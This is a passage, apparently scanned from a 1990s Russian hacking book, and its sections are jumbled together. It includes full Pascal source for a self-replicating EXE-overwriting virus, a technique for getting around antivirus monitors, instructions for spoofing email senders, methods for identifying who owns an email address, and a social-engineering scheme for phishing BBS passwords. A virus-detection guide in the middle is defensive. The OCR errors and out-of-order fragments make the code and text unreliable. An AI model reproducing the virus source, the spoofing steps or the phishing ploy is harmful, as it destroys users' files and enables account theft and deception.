Например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
(Имя вируса}
VirName='Pain';
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208;
Author='Dirty Nazi/SGWW.';
{Количество заражаемых за один сеанс работы файлов}
lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
(Еще одна файловая переменная - хотя без нее можно было
обойтись, так будет понятнее)
Target: File;
{Для имени найденного файла)
TargetFile: PathStr;
(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char;
(Для даты/времени файла)
Time : Longint;
(Счетчик количества инфицированных файлов)
InfFiles : Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure Init;
begin
LabelBuf [1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
Close(VirBody);
end;
(Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет}
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт - если файл уже заражен,
там находится метка вируса}
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{ Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
(Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
(Инициализируемся}
hit;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn('Abnormal program termination.');
{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,...
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Разумеется, среди этих многочисленных обработчиков может "затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Общие сведения
Макрос - это программа, написанная на некотором языке, которая ис-
пользуется обычно для автоматизации определенных процессов внутри
приложений. В данном случае разговор пойдет о языках Visual Basic for
Applications (VBA) и WordBasic (WB), которые Microsoft использует в
своих программах (в частности, Excel, Project и PowerPoint используют
VBA, a WinWord - WB).
Далее будем считать стандартным языком VBA, так как он представля-
ет собой попытку унифицировать макроязык, сделать его общим для
всех программ Microsoft. Несмотря на то, что WB имеет некоторые от-
личия, в том числе и в синтаксисе, структура кода этих языков похожа.
При необходимости будет особо отмечено, что речь идет о WB.
Макрос VBA - это вызываемые процедуры. Они бывают двух типов:
процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вы-
зываться из других макросов. Синтаксис их следующий:
Sub <Имя_Макроса>
-> код макроса <-
'Комментарий начинается с апострофа
End Sub
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Отправление E-mail
Даже вполне добропорядочные граждане иногда хотят сохранить в тай-
не свою личность при высказывании своего мнения, скажем, автору сай-
та, пропагандирующего фашизм, или президенту Лукашенко. Вопросы
приобретения второго (анонимного) электронного адреса вынесены
в отдельный подраздел "Второй адрес".
Remailer (Ремейлер) - это компьютер, получающий сообщение и от-
правляющий его по адресу, указанному отправителем. В процессе пере-
адресации все заголовки (headers), содержащие информацию об отпра-
вителе, уничтожаются, так что конечный получатель лишен всякой
возможности выяснить, кто является автором сообщения. Таких про-
грамм в сети много, некоторые из них позволяют указывать фиктивный
адрес отправителя, большинство же прямо указывают в заголовке, что
сообщение анонимно. Чтобы узнать, как пользоваться ремейлером, нуж-
но отправить сообщение по адресу remailer@replay.com, указав в поле
Subject remailer-help. Через некоторое время придет ответ с подробны-
ми инструкциями об отправке анонимных сообщений. Еще более про-
стой способ - это отправиться по адресу
http ://www. replay, com/remai ler/
Там расположен ремейлер, позволяющий посылать сообщения прямо из
WWW. На этом же сайте также можно воспользоваться цепочкой из
ремейлеров, так что отправленное сообщение пройдет через несколько
компьютеров, каждый из которых старательно уничтожит все заголовки
предыдущего. Но делать это, скорее всего, нецелесообразно. Во-первых,
одного ремейлера вполне достаточно (если, конечно, отправитель не
секретный агент), во-вторых, сообщение может затеряться и не дойти до
получателя, в-третьих, оно может идти очень долго. Вот пример полу-
ченного сообщения:
Date: Mon, 31 Mar 1997 12:33:23 +0200 (MET DST)
Subject: The rest is silence:
To: petya@glasnet.ru
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company Unlimited
X-URL: http://www.replay.com/remailer/
X-001: Replay may or may not approve of the content of this posting
X-002: Report misuse of this automated service to abuse@replay.com
Теоретически определить реального отправителя сообщения с использо-
ванием ремейлера можно, но практически это сделать очень сложно.
На это способны лишь люди из ФСБ, ФАПСИ, ЦРУ и им подобных
организаций. Но и они должны будут предварительно запастись реше-
нием суда, чтобы ремейлер открыл им требуемую информацию. А если
использовалась цепочка ремейлеров, то придется обойти всю цепочку.
Но если отправитель к тому же пользовался анонимным proxy-сервером
и (или) анонимайзером, то шанс найти его становиться еще меньше
(не забудьте отключить использование файлов Cookies).
Итак, первое апреля. Вы умираете от желания сообщить своему другу
от имени его провайдера о том, что его счет закрыт за неуплату (сооб-
щение должно быть с обратным адресом его провайдера). Описанные
ниже способы хороши для розыгрышей, но мало пригодны, если дей-
ствительно нужно остаться анонимным. Варианты таковы:
Использование обычной почтовой программы. Самый простой вариант:
поставить в своей почтовой программе в поле Return Address любой
адрес, и если получатель письма не станет изучать его заголовок, он
останется в уверенности, что получил сообщение именно от того, чей
адрес указан в поле From. Очень просто и очень ненадежно.
Использование специальной программы - анонимизатора. Таких про-
грамм несколько, примером может служить AnonyMail
(ftp://ftp.tordata.se/www/hokum/amaill0.zip). Заполняются поля From,
То, Subject (тут все ясно), и поле Host, в котором указывается имя
хоста, через который будет отправлена почта. Поскольку протокол от-
правки сообщений SMTP не требует в подавляющем большинстве слу-
чаев какой-либо авторизации отправителя, смело можно указать прак-
тически любое имя, желательно такое же, как у предполагаемого
получателя этого сообщения. Для не очень опытного пользователя оп-
ределение подлинности сообщения будет значительно затруднено. На-
пример, если отправляется письмо по адресу kiska@frontier.net, в поле
Host нужно указать адрес frontier.net.Для проверки можно отправить
сообщение самому себе. Недостатки: IP-адрес вашей машины все-таки
будет отражен в заголовке. Кроме того, поле То в полученном сообще-
нии превратится, скорее всего, в Apparently-To. Правда, мало кто об-
ратит на это внимание. Эти способы вполне корректно работают
и с русскими кодировками. Поскольку de facto стандартом для пере-
сылки сообщений между разными компьютерами является KOI8-R,
при рассылке сообщений рекомендуется использовать именно эту ко-
дировку - отправленное сообщение, скорее всего, будет правильно пе-
рекодировано почтовым компьютером получателя.
Пейджинговая безопасность
Пейджер стал для многих незаменимым средством оперативного обще-
ния. Но мало кто знает, что технология пейджинга позволяет организо-
вать прослушивание (мониторинг) пейджинговых сообщений с помощь
несложной аппаратуры (сканер+компьютер+соответствующее про-
граммное обеспечение). Поэтому пейджинговые компании контролиру-
ются не только ФСБ, ФАПСИ и прочими силовыми подразделениями,
но и всеми, кому не лень, в том числе криминальными структурами
и новоявленными Джеймс Бондами в лице отечественных фирм, зани-
мающихся так называемой защитой информации.
Первый макрос (испанский):
Sub Demo_Macro
Con Seleccion.Fuente
.Nombre="Times"
Fin Con
End Sub
Pinger
Воспользовавшись программой CyberKit (http://www.cHp.de/Software/cyberap)
или, например, WSPing32 (http://www.glasnet.ru/glasweb/rus/wsping32.zip)
пользователь получает возможность ткнуть пальцем в любой'адрес
электронной почты и спросить: "А это кто?". Иногда можно даже полу-
чить ответ. Итак, задаем адрес someone@oxfbrd.edu, получаем:
Login name:someone In real life: John McCartney
Directory:/usr/someone Shell: /usr/bin/csch
Last login Fri Aug18, 1995 on ttyv3 from dialup.oxford.edu
No mail
No plan
OK, someone@oxfrord.edu принадлежит John McCartney. Дело сделано,
хотя очень часто никакого результата не будет, либо появится строка
типа "Forwarding service denied" или "Seems like you won't get what you
are looking for".
To же самое можно сделать, не забивая компьютер подобными программами
(хотя они очень полезны и пригодятся не раз), а посетив Web-интерфейс, по-
зволяющий получить тот же самый результат (http://web.lm.com/sfw.html).
Следует заметить, что выполнение Pinger с использованием имени хоста
(в данном случае oxford.edu) может не принести никакого результата,
в то время как использование видоизмененного (альтернативного) имени
хоста результат даст. Как узнать альтернативное имя хоста? При помощи
CyberKit, функция NS LookUp. Нужно ввести имя www.oxford.edu
и посмотреть на полученный результат. Он может содержать альтерна-
тивные имена хоста, называемые aliases, например panda.oxford.edu. По-
пробуйте someone@panda.oxford.edu,- может сработать.
Иногда информация в ответ на Pinger-запрос может быть выдана толь-
ко пользователю из того же домена, к которому принадлежит иденти-
фицируемый адрес. Решение простое: можно найти пользователя из ис-
комого домена в Internet Relay Chat и попросить его сделать
Pinger-запрос. Программа-клиент для IRC содержит функцию Pinger,
так что никакое специальное программное обеспечение человеку, к ко-
торому вы обратились, не потребуется.
Поиск в E-mail Directories
В Интернет широко представлены службы, позволяющие разыскать
электронный адрес человека по его имени. Между тем эти же службы
иногда можно использовать для выполнения обратной задачи. На
какой-либо из указанных ниже страниц можно задать лишь домен иско-
мого адреса, без имени.
http://www.four11 .corn
http://www. yahoo.com/search/people
http://www.bigbook.com
http://www. bigfoot.com
http://www.bigyellow.com
http://www.infospace.com
http://www.abii.com/lookupusa/adp/peopsrch.htm
http://www. looksmart.com
http ://www. switch board. corn
http://www.whowhere.com
http://www.dubna.ru/eros/
(поиск по русским ресурсам).
Если пользователей, адреса которых принадлежат к искомому домену,
немного, то система в ответ на запрос выдаст список адресатов. Но, как
правило, список содержит не более ста имен и адрес, стоящий перед
знаком @, не указывается. Чтобы выяснить адрес целиком, придется
следовать по ссылке для каждого имени. Если же людей с таким доме-
ном больше ста, то поиск таким способом теряет смысл. Другими сло-
вами, человека из (c)aol.com или (c)netcom.com так не найдешь.
Поиск в WWW и Usenet
Это сделать очень просто:
Нужно набрать адрес http://www.altavista.digital.com и нажать Find!
Есть вероятность найти домашнюю страницу искомого пользователя
или упоминание о нем на других страницах. Там вполне может быть
имя обладателя адреса, а если повезет, и фото.
Если человек с искомым адресом отправлял в какую-нибудь группу
Usenet сообщение, то его можно разыскать по адресу. Для этого можно
воспользоваться системой AltaVista (http://www.altavista.digital.com),
позволяющей производить поиск во всех недавно отправленных
в Usenet сообщениях. В поле поиска нужно набрать искомый адрес (пе-
ред адресом необходимо написать from:). После нажатия кнопки Find
откроется новое окно с результатами поиска.
Поиск в системе DejaNews (http://www.dej anews.com) проводить пред-
почтительнее, потому что она предлагает поискать нужный адрес
и среди старых сообщений, если среди недавних он не найден. Поиск
также можно вести прямо с этой страницы (from: писать не нужно,
просто адрес).
Поиск вируса
Когда во время работы компьютер начинает вести себя как-то необыч-
но, первая мысль, приходящая на ум любому пользователю - уж не ви-
рус ли это. В такой ситуации важно правильно оценить свои подозре-
ния и сделать выводы.
Как правило, человек, обладающий некоторым опытом и владеющий со-
ответствующим программным инструментарием, справляется с этой зада-
чей без особых затруднений. Наиболее сложная ситуация - когда дей-
ствовать приходится в "полевых" условиях, например, на чужой машине.
Типичный вариант: стандартная PC (286, 386...Pentium), как минимум
1Мбайт ОЗУ, как минимум 400Мбайт HDD; возможно наличие прин-
тера, звуковой карты, CDD и прочей периферии. Программное обеспе-
чение: Windows 95, возможно Windows 3.1x, но работают все равно под
DOS. Джентльменский набор: Norton Commander 3.0-5.0, Norton Utility
6.0-8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы, архивато-
ры, резидентные программы и прочее. В качестве обязательного усло-
вия - наличие заведомо "чистой" защищенной от записи загрузочной
дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый
комплект программ.
Итак, по мнению хозяина компьютер ведет себя странно. Например,
программы, которые раньше работали правильно, начинают сбоить или
вообще перестают запускаться, компьютер периодически "виснет", эк-
ран и динамик воспроизводят необычные видео- и аудиоэффекты. Что
будем делать?
1. Усаживаем перед собой хозяина компьютера и подробно расспраши-
ваем его о событиях, предшествующих возникновению сбоев. Выяс-
нить нужно следующее.
Кем и как используется машина? Если сотрудники или хозяин час-
то приносят мелкие игрушки, гороскопы, устанавливают и стирают
различные бухгалтерские программы, то вероятность наличия виру-
са в машине весьма высока. Крупные игрушки, которые с трудом
умещаются даже в упакованном виде в коробку дискет, переносятся
с машины на машину редко. При этом они, чаще всего, тщательно
проверяются на наличие вирусов.
а) Когда впервые замечены симптомы вируса? Некоторые вирусы
любят приурочивать свою деятельность к определенной дате или
времени: 1 мая, 7 ноября, 13-е число, пятница, пять часов вечера,
а также 6 марта, 15 ноября, 11-я минута каждого часа.
б) Не связаны ли изменения в работе компьютера с первым запус-
ком какой-либо программы? Если да, то эта программа - первая
в очереди на "медкомиссию".
в) Не связано ли появление симптомов заражения с распаковкой
какого-либо старого архива и запуском программ из него? Неко-
торые современные антивирусы (AVP, DrWeb) умеют проверять
архивы наиболее популярных форматов. Но ведь изредка еще
встречаются архивы .ice, .arc, .zoo, .bsa, .uc2, .ha, .pak, .chz, .eli
и прочие - их антивирусы диагностировать не могут.
г) Не имеет ли хозяин (хозяйка) компьютера привычку оставлять
дискеты в дисководе при перезагрузке? Загрузочный вирус мо-
жет годами жить на дискете, никак себя не проявляя.
2. В присутствии хозяина (хозяйки) включаем компьютер. Вниматель-
но следим за процессом загрузки. Сначала запускается программа
POST, записанная в ПЗУ BIOS. Она тестирует память, тестирует и
инициализирует прочие компоненты компьютера и завершается ко-
ротким одиночным гудком. Если "вирус" проявляет себя уже на
этом этапе - он здесь ни при чем. Теоретически вирус может суще-
ствовать и в BIOS: предполагается, что первые вирусы на террито-
рию СССР "приехали" внутри болгарских ПЗУ (современные ПЗУ
часто не являются "постоянными запоминающими устройствами",
они предусматривают возможность перезаписи BIOS).
3. В присутствии хозяина (хозяйки) пытаемся вызвать необычное по-
ведение компьютера.
а) Идеально, если вирус (если это действительно он) самостоятель-
но извещает всех о своем присутствии, например, выводит на эк-
ран сообщение типа "I am VIRUS!".
Вирусы проявляют себя различными способами: проигрывают ме-
лодии, выводят на экран посторонние картинки и надписи, имити-
руют аппаратные сбои, заставляя дрожать экран.
Но, к сожалению,
чаще всего вирусы специально себя не обнаруживают. К антиви-
русным программам прилагаются каталоги с описаниями вирусов
(для AidsTest они хранятся в файле aidsvir.txt, для DrWeb -
в файле virlist.web). Наиболее полным является гипертекстовый
каталог avpve, входящий в состав антивирусного пакета Е. Каспер-
ского. В нем можно не только прочитать достаточно подробное
описание любого вируса, но и понаблюдать его проявления.
От настоящих вирусов следует отличать так называемые "студен-
ческие шутки", особенно широко распространенные на компью-
терах ВУЗов и школ. Как правило, это резидентные программы,
которые периодически производят напоминающие работу виру-
сов видео- и аудиоэффекты. В отличие от настоящих вирусов,
эти программы не умеют размножаться. Наличие такого рода
программ на "бухгалтерских" компьютерах маловероятно.
б) Очень часто сбои вызываются вирусами не преднамеренно,
а лишь в силу их несовместимости с программной средой, возни-
кающей из-за наличия в алгоритме вируса ошибок и неточнос-
тей. Если какая-либо программа "зависает" при попытке запуска,
существует очень большая вероятность, что именно она и зараже-
на вирусом. Если компьютер "виснет" в процессе загрузки (пос-
ле успешного завершения программы POST), то при помощи по-
шагового выполнения файлов config.sys и autoexec.bat (клавиша
F8 в DOS 6.x) можно легко определить источник сбоев.
4. Не перегружая компьютер, запускаем (можно прямо с винчестера)
антивирус, лучше всего DrWeb с ключом /hal. Вирус (если он есть)
попытается немедленно заразить DrWeb. Последний достаточно на-
дежно детектирует целостность своего кода и в случае чего выведет
сообщение "Я заражен неизвестным вирусом!" Если так и произой-
дет, то наличие вируса в системе доказано. Внимательно смотрим на
диагностические сообщения типа "Файл такой-то ВОЗМОЖНО за-
ражен вирусом такого-то класса" (СОМ, EXE, TSR, BOOT, MACRO
и т.п.).
Подозрения на ВООТ-вирус в 99% бывают оправданы.
Однажды DrWeb 3.20 "ругался" на ВООТ-сектор дискеты, "вылечен-
ной" AidsTest от вируса LzExe, поэтому антивирусным программам
тоже не всегда можно доверять. Наличие большого количества фай-
лов, предположительно зараженных вирусом одного и того же клас-
са, с большой достоверностью указывает на присутствие в компьюте-
ре неизвестного вируса. Но могут быть и исключения - DrWeb
версии 3.15 и ниже активно "ругался" на стандартные DOC-компо-
ненты WinWord 2.0.
Кроме того, DrWeb определяет наличие в памяти компьютера неиз-
вестных резидентных вирусов и Stealth-вирусов. Ошибки при их
определении (в последних версиях антивируса) достаточно редки.
Версия 3.15, не умеющая лечить вирус Kaczor, исправно заподозри-
ла наличие агрессивного резидента в памяти. Версия же 3.18, умею-
щая его лечить, в инфицированной системе вообще ничего не заме-
тила, а детектировала и вылечила вирус лишь при загрузке с чистой
дискеты. При этом нужно иметь в виду, что предупреждения типа
"Странная дата файла", единичные подозрения на СОМ-, ЕХЕ-ви-
русы и прочее вряд ли могут быть расценены как бесспорное дока-
зательство наличия вируса.
MACRO-вирусы живут исключительно в Windows и никакого нега-
тивного влияния на DOS-программы оказать не могут, за исключе-
нием того случая, когда они что-либо стерли в Windows-сеансе.
5. Нередко сбои бывают вызваны естественными причинами, никако-
го отношения к вирусам не имеющими.
а) Аппаратные сбои. Исключить эту возможность поможет загрузка
с чистой дискеты и запуск (с нее) диагностической программы
ndiags. Тестируем память, основную плату, порты и все осталь-
ное. Иногда достаточен простой внешний осмотр компьютера -
может быть, что-то неправильно подключено.
б) Нарушения в логической структуре диска. Загружаемся с чистой
дискеты и запускаем (с нее) ndd. Сначала просто отмечаем наличие
ошибок (перекрестных цепочек, потерянных кластеров и так далее).
Если ошибок очень много и подавляющее их число относится
к СОМ- и ЕХЕ-файлам, то ни в коем случае нельзя выполнять опе-
рацию исправления ошибок: это может быть DIR-подобный вирус,
и такое "лечение" диска может стать для многих программ фаталь-
ным. Если ошибки есть и их относительно немного, рискуем и ле-
чим диск. Вновь загружаемся с винчестера. Сбои пропали?
в) Конфликты между различными компонентами операционной си-
стемы и прикладными программами. Особенно "вредоносными"
являются дисковые драйверы-обманщики, активно видоизменяю-
щие (пусть и с благородными целями) информацию, считывае-
мую или записываемую на диск:
- дисковые кэш (SMARTDRV, NC_CASHE);
- упаковщики дисков (DblSpace, DrvSpace, Stacker);
- системы безопасности (антивирусные мониторы типа PROTECT,
HDPROT, ADM и прочие, системы разграничения доступа
DISKMON, DISKREET). Нередко сбоят устаревшие пристыковоч-
ные системы защиты от несанкционированного копирования, типа
NOTA или CERBERUS.
6. Наконец, самый интересный случай - вирус явно не обнаружен,
но подозрения на его наличие 'по-прежнему остаются. Достаточно
подробно эту тему изложил Е. Касперский в своей книге "Компью-
терные вирусы в MS-DOS", избранные фрагменты которой можно
найти в гипертекстовом каталоге avpve того же автора. Остается
только привести краткое изложение этих глав с уточнениями и за-
мечаниями (может быть, весьма спорными).
а) Обнаружение загрузочного вируса. Загружаемся с чистой дискеты
и, запустив DiskEditor, заглядываем в сектор 0/0/1 винчестера.
Если винчестер разделен (при помощи fdisk) на логические диски,
то код занимает приблизительно половину сектора и начинается
с байт FAh 33h COh (вместо 33h иногда может быть 2Bh). Закан-
чиваться код должен текстовыми строками типа "Missing operating
system". В конце сектора размещаются внешне разрозненные бай-
ты таблицы разделов. Нужно обратить внимание на размещение
активного раздела в таблице разделов. Если операционная система
расположена на диске С, а активен 2, 3 или 4 раздел, то вирус мог
изменить точку старта, сам разместившись в начале другого логи-
ческого диска (заодно нужно посмотреть и там). Но также это мо-
жет говорить о наличии на машине нескольких операционных си-
стем и какого-либо boot-менеджера, обеспечивающего выборочную
загрузку. Проверяем всю нулевую дорожку. Если она чистая,
то есть ее сектора содержат только байт-заполнитель, все в поряд-
ке. Наличие мусора, копий сектора 0/0/1 и прочего может гово-
рить о присутствии загрузочного вируса. Впрочем, антивирусы при
лечении загрузочных вирусов лишь "обезглавливают" противника
(восстанавливают исходное значение сектора 0/0/1), оставляя тело
"догнивать" на нулевой дорожке. Проверяем boot-сектор MS-DOS,
он обычно расположен в секторе в 0/1/1. Его внешний вид для
сравнения можно найти как в вышеупомянутой книге Е. Касперс-
кого, так и на любой "чистой" машине. Итак, если вирус обнару-
жен, при помощи DiskEditor переписываем в файл зараженный
объект: MBR 0/0/1 (а лучше всю нулевую дорожку), boot 0/1/1
и все остальное. Желательно отправить этот комплект вирусоло-
гам. Копию, при желании, оставляем себе - для опытов.
б) Обнаружение файлового вируса. Нерезидентные файловые виру-
сы специально не скрывают своего наличия в системе. Поэтому
основным признаком заражения файла является увеличение его
длины, которое легко заметить даже в инфицированной операци-
онной системе. Резидентные вирусы могут скрывать изменение
длины файла (да и вообще наличие своего кода внутри файла-
жертвы), если они написаны по Stealth-технологии. Но при заг-
рузке с "чистой" дискеты это можно увидеть. Некоторые вирусы
не изменяют длину заражаемых программ, используя "пустые"
участки внутри файла программы или кластерный "хвост" фай-
ла, расположенный после последнего заполненного сектора.
В этом случае основной признак заражения - изменение конт-
рольной суммы байт файла.
Это легко обнаруживают антивиру-
сы-инспектора типа Adinf. В качестве крайней меры можно рас-
сматривать прямое изучение кода программ, подозрительных
с точки зрения наличия в них вируса. Одно из лучших программ-
ных средств для оперативного изучения кода вирусов - програм-
ма HackerView (hiew.exe by SEN). Но, поскольку "по умолча-
нию" компьютер чужой, hiew, td, softice, ida и подобных
программ на нем может просто не оказаться. Зато стандартный
отладчик debug присутствует точно. Загружаем подозреваемую
на наличие вируса программу (в чистой операционной системе)
в память при помощи команды debug <имя_программы>. Коман-
да и позволяет дизассемблировать фрагмент кода, команда d -
просмотреть его в шестнадцатеричном формате, команда g <ад-
рес> запускает программу на выполнение с остановом в указан-
ной точке, команда t обеспечивает пошаговую трассировку кода,
команда г отображает текущее содержимое регистров. Чтобы ви-
зуально распознать наличие вируса по коду, конечно, необходим
определенный опыт. Вот на что надо обращать особое внимание:
- Наличие в начале программы последовательности команд подоб-
ного типа крайне подозрительно:
Start:
call Metka
Metka: pop<r>
- Наличие в начале файла строк типа "PkLite", "Ь291"или "diet"
подразумевает обработку программы соответствующим упаковщиком;
если начало программы не содержит последовательности команд, ха-
рактерных для упаковщика, не исключен факт ее заражения.
- Программы, написанные на языках высокого уровня, часто содер-
жат в своем начале сегмент кода, затем сегмент данных. Наличие
еще одного сегмента кода, располагающегося в конце файла про-
граммы, весьма подозрительно.
- Подозрение вызывают расположенные в начале программы, напи-
санной на языке высокого уровня, фрагменты видоизменения соб-
ственного кода, вызовы DOS- или BIOS-прерываний и прочее. Же-
лательно визуально помнить характерные начала программ,
скомпилированных в той или иной системе программирования (на-
пример, начала программ, написанных на Turbo Pascal, содержат
большое количество дальних вызовов подпрограмм call xxxx:xxxx).
- Наконец, о наличии вируса могут свидетельствовать "посторон-
ние" строки типа "Eddie lives." внутри файла.
7. Ловля вируса "на живца". Итак, допустим, что наличие вируса в си-
стеме доказано одним из предложенных выше методов, и заражен-
ные вирусом объекты определены. Теперь можно начать изучение
вируса и, вслед за этим, попытаться удалить его с машины. Жела-
тельно послать образец вируса профессиональным вирусологам.
А для этого необходимо выделить вирус в чистом виде.
а) Выделение загрузочного вируса. Как уже говорилось выше, если
вирус заразил винчестер, необходимо при помощи программы
DiskEditor сохранить в файле образ зараженного объекта (напри-
мер, сектора 0/0/1 или всей нулевой дорожки). Но, как известно,
загрузочные вирусы только "живут" в системных областях вин-
честера, размножаются же они, заражая системные области дис-
кет. Поэтому смотрим на лицевую панель компьютера. Если
в наличии дисководы обоих типов (3.5" и 5.25"), то придется
/•
отформатировать 4 дискеты на 4 стандартных формата: 360Кбайт,
720Кбайт, 1.2Мбайт и 1.44Мбайт. Затем при помощи программы
DiskEditor внимательно рассмотрим и постараемся запомнить
внешний вид boot-секторов этих дискет (0/0/1), хотя бы первые
байты (естественно, все это делается на чистой машине). Встав-
ляем не защищенные от записи дискеты по очереди в дисководы
"больной" машины и (обязательно) обращаемся к ним: пытаемся
прочитать каталог, записать, прочитать и удалить какие-либо
файлы. Наконец, на чистой машине при помощи DiskEditor
вновь просматриваем сектор 0/0/1. Если на какой-либо дискете
он изменился, при помощи того же DiskEditor снимаем образ
всей дискеты в файл. Вирус пойман. Можно упаковать файл ка-
ким-нибудь архиватором и послать его вирусологу. Некоторые
хитрые вирусы хранят свое тело на дополнительной, специально
отформатированной дорожке, так называемом инженерном ци-
линдре дискеты. В этом случае без пакета копирования ключевых
дискет типа fda, teledisk или copymaster не обойтись.
б) Выделение резидентного вируса. Как известно, резидентный ви-
рус постоянно находится в памяти ПЭВМ, выбирая жертву для
заражения. Наиболее часто в качестве жертв выступают запуска-
емые программы. Однако файлы программ могут заражаться при
открытии, копировании на дискету или с нее (вирус OneHalf), во
время поиска при помощи DOS-функций FindFirst или FindNext.
Необходимо подобрать подходящего претендента на "конт-
рольное" заражение - небольшую программу простой структуры,
приманку. Некоторые вирусы пытаются распознать приманку
и отказываются от ее заражения. Не подходят для таких целей
слишком короткие программы или такие, большая часть которых
состоит из повторяющихся байт (например, 90h - код команды
NOP). В качестве приманки с большим успехом можно использо-
вать программы test.com и test.exe. Вот их исходные тексты
на языке Assembler.
Получение пароля BBS без взлома
Рассмотренные выше способы взлома BBS предполагают наличие
у пользователя базовых знаний о системе. Теперь немного о том, как
можно достать пароль еще проще. Практически на каждой BBS суще-
ствуют неопытные пользователи, имеющие высокий уровень доступа
(информация об уровне доступа пользователей BBS доступна почти
всегда). Если же такого пункта нет, то "хорошего" пользователя всегда
можно вычислить, например, по времени, которое он проводит на стан-
ции, или по объему скопированной и присланной им информации.
Итак, определив человека, паролем которого неплохо завладеть, пишем
ему письмо о том, что по техническим причинам (причину придумыва-
ем любую, главное правдоподобную) ему следует изменить свой рабо-
чий пароль (предлагаем новый, например "НАСК_01"). После того, как
пользователь поменяет свой пароль (на это ему нужно отвести дня два-
три, поскольку в один день он может не позвонить, в другой - только
поменяет пароль, в общем, время ему понадобиться), можно беспрепят-
